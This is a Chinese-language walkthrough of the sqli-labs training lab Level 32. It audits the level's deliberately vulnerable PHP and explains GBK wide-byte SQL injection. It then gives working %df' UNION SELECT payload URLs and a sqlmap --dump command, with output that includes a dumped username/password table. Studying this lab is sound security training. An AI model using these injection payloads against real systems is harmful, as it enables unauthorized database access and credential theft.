sqli-labs通關筆記-第32關 GET寬字符注入(單引號閉合 手工注入+腳本注入兩種方法)

目錄

一、寬字符注入

二、代碼審計

1、代碼審計

2、SQL注入安全性分析

三、滲透實戰

1、進入靶場

2、id=1探測

3、id=%df'-- 探測

4、手工注入

(1)獲取列數

(2)獲取回顯位

(3)獲取數據庫名

(4)獲取表名

(5)獲取列名

(6)獲取數據

5、sqlmap滲透實戰?


SQLI-LABS 是一個專門為學習和練習 SQL 注入技術而設計的開源靶場環境,本小節對第32關Less 32基于寬字符的SQL注入關卡進行滲透實戰。??

一、寬字符注入

寬字節注入是一種利用數據庫字符集轉換風險的SQL注入技術,主要影響使用GBK、BIG5等多字節字符集的系統。其核心原理如下所示。

  • 當系統使用addslashes或mysql_real_escape_string轉義單引號時,會添加反斜杠(\')。

  • 在GBK編碼中,%df%5c可組成一個合法漢字"運"。

  • 攻擊者構造%df',轉義后變為%df%5c%27,被解析為"運'"使單引號逃逸。

二、代碼審計

1、代碼審計

本關卡Less32是基于寬字符型的SQL注入關卡,打開對應的源碼index.php,如下所示。

Less32關卡的源碼功能是簡單基于id的查詢頁面,詳細注釋過的源碼如下所示。

<?php
// 引入數據庫連接配置
include("../sql-connections/sqli-connect.php");/*** 自定義轉義函數:模擬繞過addslashes()的場景* @param string $string 待轉義的字符串* @return string 轉義后的字符串*/
function check_addslashes($string) {// 轉義反斜杠:將單個反斜杠替換為兩個反斜杠(\\\\ → 轉義后為\\)$string = preg_replace('/' . preg_quote('\\') . '/', '\\\\\\', $string); // 轉義單引號:將單引號'替換為\'(通過添加反斜杠)$string = preg_replace('/\'/i', '\\\'', $string); // 轉義雙引號:將雙引號"替換為\"$string = preg_replace('/"/', '\\"', $string); return $string;
}// 處理GET請求中的id參數
if (isset($_GET['id'])) {$id = check_addslashes($_GET['id']); // 調用自定義轉義函數// echo "The filtered request is :" .$id . "<br>"; // 調試用,輸出過濾后的參數// 記錄id參數到日志文件$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 設置數據庫字符集為gbk(關鍵風險:可能引發寬字符注入)mysqli_query($con1, "SET NAMES gbk");// 構造SQL查詢(直接拼接轉義后的id參數)$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) {// 成功時顯示用戶信息echo '<font color= "#00FF00">';echo 'Your Login name:' . $row['username'];echo "<br>Your Password:" . $row['password'];echo "</font>";} else {// 失敗時顯示數據庫錯誤(可用于錯誤回顯注入)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 暴露SQL語法錯誤,幫助攻擊者調試Payloadecho "</font>";}
} else {// 未傳遞id參數時的提示echo "Please input the ID as parameter with numeric value";
}
?><!-- 頁面底部提示:顯示轉義后的字符串及其十六進制表示 -->
<font size='4' color= "#33FFFF">
<?php
function strToHex($string) {$hex = '';for ($i = 0; $i < strlen($string); $i++) {$hex .= dechex(ord($string[$i])); // 將字符串轉換為十六進制}return $hex;
}
echo "Hint: The Query String you input is escaped as : " . $id . "<br>";
echo "The Query String you input in Hex becomes : " . strToHex($id) . "<br>";
?>
</font>

本關卡通過模擬addslashes()轉義邏輯,結合gbk字符集演示了寬字符注入的原理。核心風險在于轉義后的反斜杠與寬字符組合導致單引號逃逸,核心功能如下所示。

  • 自定義轉義函數:使用check_addslashes函數模擬 addslashes() 的轉義邏輯,對單引號、雙引號和反斜杠進行轉義(如 ' → \',\ → \\)。
  • 參數處理:從 GET 參數獲取id,調用轉義函數后直接拼接?SQL 查詢語句中(SELECT * FROM users WHERE id='$id')。
  • 數據庫配置:顯式設置字符集為?gbk,為寬字符注入創造條件。
  • 錯誤回顯:當 SQL 查詢失敗時,返回數據庫錯誤信息(如語法錯誤),可用于注入攻擊的錯誤提示。
  • 調試提示:頁面底部顯示轉義后的字符串及其十六進制形式,幫助理解參數處理過程。

2、SQL注入安全性分析

本關卡具有寬字符注入風險,具體分析如下所示。

  • 轉義邏輯缺陷

    • 轉義函數check_addslashes()將單引號'轉義為\'(反斜杠 + 單引號),故而本關卡無法通過普通的單引號閉合進行SQL注入。
    • 但當數據庫字符集為gbk(或其他支持多字節字符的編碼)時,反斜杠\(ASCII 碼為?5C)與后續字符可能組成一個寬字符,導致轉義的單引號被 “吃掉”。
  • 注入流程
    • 輸入 payload:%df'(URL 編碼為?%df%27)。
    • 單引號轉義后變為:\'?URL 編碼為?%5C%27,%df'轉移后變為了%df%5C%27
    • 在gbk字符集中,%df%5C 被解析為一個寬字符,%27(單引號)被保留。

三、滲透實戰

1、進入靶場

進入sqli-labs靶場首頁,其中包含基礎注入關卡、進階挑戰關卡、特殊技術關卡三部分有效關卡,如下所示。

http://192.168.59.1/sqli-labs/

點擊進入Page2,如下圖紅框所示。?

其中第32關在進階挑戰關卡“SQLi-LABS Page-2 (Adv Injections)”中,?點擊進入如下頁面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

點擊上圖紅框的Less32關卡,進入到靶場的第32關卡寬字符型注入關,頁面提示“Please input the ID as parameter with numeric value”,并且在頁面下方提示HINT信息“Hint: The Query String you input is escaped as :The Query String you input in Hex becomes?”,具體如下所示。

http://192.168.59.1/sqli-labs/Less-32/

2、id=1探測

3、id=%df'-- 探測

注入語句為%df' --空格,由于空格的URL編碼為加號符號,故而完整滲透URL如下所示。

http://192.168.59.1/sqli-labs/Less-32/?id=1%df' --+

如下所示構造閉合成功,頁面顯示用戶名和密碼并參考HINT輸出了寬字符內容。?

4、手工注入

(1)獲取列數

如下所示,order by為3時滲透成功,但是order by為4時提示列不存在,故而共有3列。

http://192.168.59.1/sqli-labs/Less-32/?id=1%df' ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-32/?id=1%df' ORDER BY 4--+

(2)獲取回顯位

如下所示,回顯位為2和3,接下來我們使用第2個回顯位進行滲透。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,2,3--+

(3)獲取數據庫名

如下所示,數據庫的名稱為“security”。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,DATABASE(),3--+

(4)獲取表名

如下所示,數據庫security共有4個表格,分別為emails,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+

(5)獲取列名

如下所示,數據庫users表的列名分別為id,username,password。特別注意這里users表使用十六進制0x7573657273表示,因為'users'會被轉義,此時滲透成功。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME=0x7573657273--+

(6)獲取數據

最后通過上一步獲取到的列名來提取users表的內容,這里符號:也被替換為0x3a,如下所示滲透成功。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,0x3a,password)),3 FROM users--+

5、sqlmap滲透實戰?

?我們使用sqlmap來進行滲透,參數的含義是獲取當前數據庫名稱(--current-db)并導出所有數據(--dump),全程自動執行無需人工交互(--batch),其中-u參數指定目標URL地址,在id=1后面增加%df'的目標是指定閉合方式,星號*放在id=1%df'后則是指定注入點為id,完整的SQL注入命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-32/?id=1%df'*" --current-db  --batch --dump

sqlmap滲透成功,可以通過報錯法、時間盲注方法滲透成功,具體信息如下所示。

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1318 HTTP(s) requests:
---
Parameter: #1* (URI)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-32/?id=1%df' AND GTID_SUBSET(CONCAT(0x7176767871,(SELECT (ELT(5642=5642,1))),0x7178766b71),5642)-- HYRVType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-32/?id=1%df' AND (SELECT 5958 FROM (SELECT(SLEEP(5)))kwSY)-- AhYa
---
[22:55:13] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[22:55:13] [INFO] fetching current database
[22:55:13] [INFO] retrieved: 'security'
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password      | username       |
+----+---------------+----------------+
| 1  | Dumb          | Dumb           |
| 2  | I-kill-you    | Angelina       |
| 3  | p@ssword      | Dummy          |
| 4  | crappy        | secure         |
| 5  | stupidity     | stupid         |
| 6  | genious       | superman       |
| 7  | mob!le        | batman         |
| 8  | mooyuan123456 | admin          |
| 9  | admin1        | admin1         |
| 10 | admin2        | admin2         |
| 11 | admin3        | admin3         |
| 12 | dumbo         | dhakkan        |
| 14 | admin4        | admin4         |
| 15 | 123456        | admin'#mooyuan |
+----+---------------+----------------+

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/92217.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/92217.shtml
英文地址,請注明出處:http://en.pswp.cn/web/92217.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

MySQL的創建管理表:

目錄 基礎知識&#xff1a; 一條數據存儲的過程&#xff1a; 標識符命名規則&#xff1a; 創建和管理數據庫&#xff1a; 創建數據庫&#xff1a; 創建數據庫&#xff1a; 創建數據庫并指定字符集&#xff1a; 判斷數據庫是否存在&#xff0c;不存在則創建數據庫&#…

Linux Vi常用指令總結

Vi&#xff08;及其改進版 Vim&#xff09;是 Linux 中常用的文本編輯器&#xff0c;雖然入門有一定門檻&#xff0c;但熟練掌握后效率極高。以下是常見指令分類整理&#xff1a;1. 模式切換 普通模式&#xff08;命令模式&#xff09;&#xff1a;啟動后的默認模式&#xff0c…

解決遠程連接云服務器mysql編號1130問題

連接云服務器mysql失敗&#xff0c;可能是因為ip發生改變&#xff0c;被mysql攔截。我自己前后做了兩件事。大家趕時間可直接從二開始&#xff0c;不放心的就從一開始到結束一、在云服務器實例中為當前ip配置安全組權限。1.找到當前服務器的實例&#xff0c;進入安全組。為其增…

大數據存儲域——HDFS存儲系統

摘要本文介紹了HDFS存儲系統&#xff0c;包括其組件、工作機制、實戰經驗總結、使用場景以及與SpringBoot的實戰示例和優化設計。HDFS由Client、NameNode、SecondaryNameNode、DataNode等組件構成&#xff0c;通過特定的工作機制實現文件的讀取和寫入。它適用于多種場景&#x…

jdk動態代理如何實現

口語化答案好的&#xff0c;面試官。jdk 的動態代理主要是依賴Proxy類 和InvocationHandler 接口。jdk 動態代理要求類必須有接口。在進行實現的時候&#xff0c;首先要定義接口&#xff0c;比如MyService&#xff0c;這個接口就是我們的正常功能的實現。但是希望在不更改MySer…

自然語言處理的相關概念與問題

目錄 一、學科的產生與發展 1、什么是自然語言&#xff1f; 2、自然語言處理技術的誕生 二、技術挑戰 三、基本方法 1、方法概述 理性主義方法 經驗主義方法 2、傳統的統計學習方法 3、深度學習方法 詞向量表示 詞向量學習 開源工具 四、應用舉例 1、漢語分詞 …

Anthropic MCP架構深度解析:下一代AI工具集成協議的設計哲學

本文深入剖析Anthropic提出的模型通信協議(MCP),揭示其如何重構AI與工具生態的交互范式,打造安全高效的智能體基礎設施。 引言:AI工具集成的"巴別塔困境" 當前AI生態面臨的核心挑戰: #mermaid-svg-lSpYBxzxD5oiYwcL {font-family:"trebuchet ms",verd…

【注意】HCIE-Datacom華為數通考試,第四季度將變題!

最近&#xff0c;數據通信圈子可熱鬧壞啦&#xff01;好幾個渠道都證實了&#xff0c;HCIE - Datacom實驗考試馬上要有大變化咯&#xff01; 這可不是啥小道消息&#xff0c;也不是那種試點的傳言&#xff0c;而是從IE內部技術交流會上得到的確切消息。 這邊聯系了華為認證的好…

MySql 硬核解析系列 一 MySQL的鎖機制

MySQL 的鎖機制是其并發控制的核心,直接影響數據庫的性能、一致性與可用性。本文將從底層原理、鎖的分類、實現機制、鎖的粒度、鎖的兼容性、死鎖處理、InnoDB 的行鎖實現、MVCC 與鎖的關系等多個維度,進行硬核、深度解析,適用于希望深入理解 MySQL 并發控制機制的開發者與 …

7.軟件工程

軟件生命周期軟件生命周期什么是軟件工程&#xff1f;以工程化的原則和方法來開發軟件&#xff0c;其目的是提高軟件生產率、提高軟件質量、降低軟件成本。軟件工程3大組成部分&#xff1a;方法、工具、過程。什么是軟件生命周期&#xff1a;經過開發、使用和維護&#xff0c;直…

C 語言結構體與 Java 類的異同點深度解析

在編程語言的發展歷程中,C 語言的結構體與 Java 的類扮演著至關重要的角色。作為面向過程編程的經典代表,C 語言的結構體為數據封裝提供了基礎形式;而 Java 作為純面向對象語言,類則是其核心語法結構。二者既存在一脈相承的設計思想,又因編程語言范式的差異呈現出顯著區別…

C++、STL面試題總結(二)

1. 必須實現拷貝構造函數的場景 核心問題&#xff1a;默認拷貝構造的缺陷 C 默認的拷貝構造函數&#xff08;淺拷貝&#xff09;&#xff0c;會直接拷貝指針 / 引用成員的地址。若類包含引用成員或指向堆內存的指針&#xff0c;淺拷貝會導致 “多個對象共享同一份資源”&…

IntelliJ IDEA2024 錯誤‘http://start.spring.io/‘的初始化失敗,請檢查URL、網絡和代理設置。

下載新版本的intellij idea2024創建項目時&#xff0c;服務器URL報錯誤http://start.spring.io/的初始化失敗&#xff0c;請檢查URL、網絡和代理設置。錯誤消息&#xff1a;Cannot download http://start.spring.io/:Permission denied:getsockopt&#xff0c;具體如下圖&#…

從零開始的云計算生活——第三十八天,避坑落井,Docker容器模塊

一.故事背景 在綜合使用了之前全部的知識完成項目之后&#xff0c;接下來將學習更簡單的方法來對之前的命令進行使用&#xff0c;馬上進入容器模塊 二. Docker概述 Docker簡介 Docker&#xff0c;翻譯過來就是碼頭工人 Docker是一個開源的應用容器引擎&#xff0c;讓開發者…

Python與自動化運維:構建智能IT基礎設施的終極方案

Python與自動化運維:構建智能IT基礎設施的終極方案 引言:運維革命的Python引擎 在DevOps理念席卷全球的今天,企業IT基礎設施的復雜度呈指數級增長。某跨國銀行的數據顯示,采用Python構建的自動化運維體系使其服務器部署效率提升400%,故障響應時間縮短至原來的1/8。本文將…

HarmonyOS應用開發環境搭建以及快速入門介紹

下載并安裝DevEco Studio&#xff0c;這是華為官方提供的HarmonyOS應用開發IDE。訪問華為開發者聯盟官網下載對應操作系統的版本。安裝完成后&#xff0c;配置HarmonyOS SDK和必要的工具鏈。 確保計算機滿足開發環境要求&#xff0c;包括Windows 10 64位或macOS 10.14及以上操…

RocketMQ與Kafka 消費者組的?重平衡操作消息順序性對比

RocketMQ 的重平衡機制本身不會直接影響消息順序&#xff0c;但消費模式的選擇和使用需注意以下細節&#xff1a;重平衡機制RocketMQ消費者組的重平衡策略是每隔20秒從Broker獲取消費組的最新消費進度&#xff0c;并根據訂閱信息重新分配消息隊列。該策略主要影響消息拉取的均衡…

學習 Android(十四)NDK基礎

學習 Android&#xff08;十四&#xff09;NDK基礎 Android NDK 是一個工具集&#xff0c;可讓我們使用 C 和 C 等語言以原生代碼實現應用的各個部分。對于特定類型的應用&#xff0c;這可以幫助我們重復使用以這些語言編寫的代碼庫。 接下來&#xff0c;我們將按照以下步驟進行…

寶塔(免費版9.2.0)的docker拉取倉庫失敗的加速方法

寶塔docker拉取倉庫失敗 完美加速方法_寶塔docker加速-CSDN博客 版本&#xff1a;免費版 9.2.0 https://docker.1ms.run 其他的試了很多 都不行 最后不要用寶塔的控制面板(很卡)&#xff0c;直接在linux中用命令行&#xff0c;效果就很好了。

文獻解讀-生境分析亞區域選擇+2D_DL+3D_DL-局部晚期食管鱗狀細胞癌新輔助化療免疫治療反應預測

研究標題&#xff1a;結合亞區域放射組學與多通道二維或三維深度學習模型預測局部晚期食管鱗狀細胞癌&#xff08;LA-ESCC&#xff09;患者對新輔助化療免疫治療&#xff08;NACI&#xff09;的反應借鑒點&#xff1a;建模思路&#xff08;看流程圖理解就夠了&#xff09;引言食…